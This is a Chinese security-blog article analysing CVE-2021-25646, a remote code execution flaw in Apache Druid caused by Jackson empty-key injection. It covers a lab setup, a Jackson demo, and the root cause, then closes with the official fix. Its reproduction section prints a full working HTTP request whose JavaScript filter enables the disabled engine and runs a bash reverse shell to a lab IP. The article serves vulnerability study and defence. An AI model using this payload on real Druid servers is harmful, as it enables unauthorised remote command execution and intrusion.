【技术分享】CVE-2021-25646 Apache Druid 远程代码执行漏洞分析

  • A+
所属分类:安全文章

【技术分享】CVE-2021-25646 Apache Druid 远程代码执行漏洞分析

 



01
前置知识


  • Druid

Apache Druid 是用 Java 编写的面向列的开源分布式数据存储, 通常用于商业智能/ OLAP 应用程序 中,以分析大量的实时和历史数据。

Druid提供了JavaScript引擎用来扩展Druid的功能,值得注意的是,Druid的JavaScript不在沙盒中运行,而对机器有完全的访问权限,同时支持运行原生java语句,存在安全性问题,所以默认被关闭了。

【技术分享】CVE-2021-25646 Apache Druid 远程代码执行漏洞分析

https://druid.apache.org/docs/latest/development/javascript.html

  • Jackson

Jackson是一个非常流行且高效的基于Java的库,用于将Java对象序列化或映射到JSON和XML,也可以将JSON和XML转换为Java对象。在Druid也有对其的依赖。

在这个漏洞中利用了Jackson的一个(特性)BUG

这个Bug出在Jackson的两个注释上

[email protected]在于对用JsonCreator注解修饰的方法来说,方法的所有参数都会解析成CreatorProperty类型,对于没有使用JsonProperty注解修饰的参数来说,会创建一个name为””的CreatorProperty,在用户传入键为””的json对象时就会被解析到对应的参数上。
[email protected]
假设json字段有一些缺少的属性,抓换成实体类的时候没有的属性将为null,但是我们在某些需求当中需要将为null的属性都设置为默认值,这时候我们就可以用到这个注解了,它的功能就是在反序列化的时候将没有的字段设置为我们设置好的默认值。

具体可以编写下面的示例代码

package com.example.demo;

import com.fasterxml.jackson.annotation.JacksonInject;import com.fasterxml.jackson.annotation.JsonCreator;import com.fasterxml.jackson.annotation.JsonProperty;import com.fasterxml.jackson.core.JsonProcessingException;import com.fasterxml.jackson.databind.ObjectMapper;

public class DemoApplication {
public static void main(String[] args) throws JsonProcessingException {
String json= "{"name":"Jack","":"Nofield"}";
ObjectMapper mapper = new ObjectMapper(); Student result = mapper.readValue(json, Student.class); System.out.print(mapper.writeValueAsString(result)); }
}
class Student { @JsonCreator public Student( @JsonProperty("name")String name, @JacksonInject String id ){ this.name=name; this.id=id; }
private String id; private String name; public String getName() {return name;}
public String getId() {return id;} public void setId(String id) {this.id = id;}
}

运行输出

{"name":"Jack","id":"Nofield"}

可以看到json串中键为空的值被赋值到了id属性上,这是因为JsonCreator给id设置的键为空,JsonInject将json串中空键对应的值Nofield赋给了id

 



02
环境搭建


这里通过idea进行远程调试

在官网下载编译好的版本19.0

https://mirrors.bfsu.edu.cn/apache/druid/0.19.0/apache-druid-0.19.0-bin.tar.gz

并在github上下载版本对应的源码

https://codeload.github.com/apache/druid/zip/druid-0.19.0

此处我们要调试的druid的coordinator-overlord模块,使用最小快速启动方式

/apache-druid-0.19.0/conf/druid/single-server/micro-quickstart/coordinator-overlord

在jvm.config最后加上

-Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=5005

在idea中加上远程调试配置

【技术分享】CVE-2021-25646 Apache Druid 远程代码执行漏洞分析

-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005

运行服务端程序

./bin/start-micro-quickstart

就可以开始愉快地下断点调试了




03
漏洞分析


  • 寻找漏洞点

在druid官网关于javascript的利用中我们可以找到filiter中的利用https://druid.apache.org/docs/latest/querying/filters.html#javascript-filter

【技术分享】CVE-2021-25646 Apache Druid 远程代码执行漏洞分析

可以找到网页上的相关功能点,抓包如下

POST /druid/indexer/v1/sampler?for=filter HTTP/1.1Host: 192.168.111.3:8888Content-Length: 11180Accept: application/json, text/plain, */*DNT: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36Content-Type: application/json;charset=UTF-8Origin: http://192.168.111.3:8888Referer: http://192.168.111.3:8888/unified-console.htmlAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7Connection: close
{ "type": "index", "spec": { "ioConfig": { "type": "index", "inputSource": { "type": "inline", "data": "", }, "inputFormat": { "type": "json", "keepNullColumns": true } }, "dataSchema": { "dataSource": "sample", "timestampSpec": { "column": "timestamp", "format": "iso" }, "dimensionsSpec": {}, "transformSpec": { "transforms": [], "filter": { "type": "selector", "dimension": "1", "value": "1" } } }, "type": "index", "tuningConfig": { "type": "index" } }, "samplerConfig": { "numRows": 500, "timeoutMs": 15000 }}

通过分析数据包结构,我们找到了transformSpec

【技术分享】CVE-2021-25646 Apache Druid 远程代码执行漏洞分析

定位到filiter为DimFilter类,

【技术分享】CVE-2021-25646 Apache Druid 远程代码执行漏洞分析

同文档中描述的那样filiter支持javascript

于是我们定位到

【技术分享】CVE-2021-25646 Apache Druid 远程代码执行漏洞分析

根据前置知识,可以发现此处的config可以通过空键值注入,继续跟这个config

发现这里设置了JavaScript是否被开启,那么我们此处就可以直接绕过限制,开启javascript了

【技术分享】CVE-2021-25646 Apache Druid 远程代码执行漏洞分析

 



04
漏洞复现


我们修改之前发过的post构造一个filiter,就可以完成RCE了,

"filter":{"type": "javascript",                                        "function": "function(value){return java.lang.Runtime.getRuntime().exec('/bin/bash -c [email protected]|bash 0 echo bash -i >&/dev/tcp/192.168.111.128/2333 0>&1')}",                                        "dimension": "added",                                        "": {                                                "enabled": "true"                                        }                                }

这里直接写java反弹shell语句

完整报文

POST /druid/indexer/v1/sampler?for=filter HTTP/1.1Host: 192.168.111.3:8888Content-Length: 992Accept: application/json, text/plain, */*DNT: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36Content-Type: application/json;charset=UTF-8Origin: http://192.168.111.3:8888Referer: http://192.168.111.3:8888/unified-console.htmlAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7Connection: close
{"type":"index","spec":{"type":"index","ioConfig":{"type":"index","inputSource":{"type":"http","uris":["https://druid.apache.org/data/example-manifests.tsv"]},"inputFormat":{"type":"tsv","findColumnsFromHeader":true}},"dataSchema":{"dataSource":"sample","timestampSpec":{"column":"timestamp","missingValue":"2010-01-01T00:00:00Z"},"dimensionsSpec":{},"transformSpec":{"transforms":[],"filter":{"type": "javascript", "function": "function(value){return java.lang.Runtime.getRuntime().exec('/bin/bash -c [email protected]|bash 0 echo bash -i >&/dev/tcp/192.168.111.128/2333 0>&1')}", "dimension": "added", "": { "enabled": "true" } } } },"type":"index","tuningConfig":{"type":"index"}},"samplerConfig":{"numRows":50,"timeoutMs":10000}}


具体json转换过程可以com.fasterxml.jackson.databind.deser.BeanDeserializer的_deserializeUsingPropertyBased定位到

【技术分享】CVE-2021-25646 Apache Druid 远程代码执行漏洞分析
此时对propName:spec进行反序列化,不断断点跟踪,可以看到反序列完空键值对应的键后,config.enabled被赋值为true
【技术分享】CVE-2021-25646 Apache Druid 远程代码执行漏洞分析
绕过此处限制
【技术分享】CVE-2021-25646 Apache Druid 远程代码执行漏洞分析
成功运行poc
接收到shell
【技术分享】CVE-2021-25646 Apache Druid 远程代码执行漏洞分析



05
修复思路


官方的修复思路是在任何情况下都不允许空键值被传入赋值,重写了方法findPropertyIgnorals
/**   * This method is used to find what property to ignore in deserialization. Jackson calls this method   * per every class and every constructor parameter.   *   * This implementation returns a {@link JsonIgnoreProperties.Value#empty()} that allows empty names if   * the parameters has the {@link JsonProperty} annotation. Otherwise, it returns   * {@code JsonIgnoreProperties.Value.forIgnoredProperties("")} that does NOT allow empty names.   * This behavior is to work around a bug in Jackson deserializer (see the below comment for details) and   * can be removed in the future after the bug is fixed.   * For example, suppose a constructor like below:   *   * <pre>{@code   * @JsonCreator   * public ClassWithJacksonInject(   *   @JsonProperty("val") String val,   *   @JacksonInject InjectedParameter injected   * )   * }</pre>   *   * During deserializing a JSON string into this class, this method will be called at least twice,   * one for {@code val} and another for {@code injected}. It will return {@code Value.empty()} for {@code val},   * while {Value.forIgnoredProperties("")} for {@code injected} because the later does not have {@code JsonProperty}.   * As a result, {@code injected} will be ignored during deserialization since it has no name.   */  @Override  public JsonIgnoreProperties.Value findPropertyIgnorals(Annotated ac)  {    // We should not allow empty names in any case. However, there is a known bug in Jackson deserializer    // with ignorals (_arrayDelegateDeserializer is not copied when creating a contextual deserializer.    // See https://github.com/FasterXML/jackson-databind/issues/3022 for more details), which makes array    // deserialization failed even when the array is a valid field. To work around this bug, we return    // an empty ignoral when the given Annotated is a parameter with JsonProperty that needs to be deserialized.    // This is valid because every property with JsonProperty annoation should have a non-empty name.    // We can simply remove the below check after the Jackson bug is fixed.    //    // This check should be fine for so-called delegate creators that have only one argument without    // JsonProperty annotation, because this method is not even called for the argument of    // delegate creators. I'm not 100% sure why it's not called, but guess it's because the argument    // is some Java type that Jackson already knows how to deserialize. Since there is only one argument,    // Jackson perhaps is able to just deserialize it without introspection.    if (ac instanceof AnnotatedParameter) {      final AnnotatedParameter ap = (AnnotatedParameter) ac;      if (ap.hasAnnotation(JsonProperty.class)) {        return JsonIgnoreProperties.Value.empty();      }    }
return JsonIgnoreProperties.Value.forIgnoredProperties(""); }
具体可见 https://github.com/apache/druid/compare/0.20.0…0.20.1

(点击“阅读原文”查看链接)

【技术分享】CVE-2021-25646 Apache Druid 远程代码执行漏洞分析

- End -
精彩推荐
【技术分享】NodeJS从零开始到原型链污染
【技术分享】CVE-2021-26295 Apache OFBiz 反序列化分析
【技术分享】探探JDBC反序列化漏洞
联合国中招邮件诈骗,行骗者获利270万却称生活所迫?

【技术分享】CVE-2021-25646 Apache Druid 远程代码执行漏洞分析

戳“阅读原文”查看更多内容

本文始发于微信公众号(安全客):【技术分享】CVE-2021-25646 Apache Druid 远程代码执行漏洞分析

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: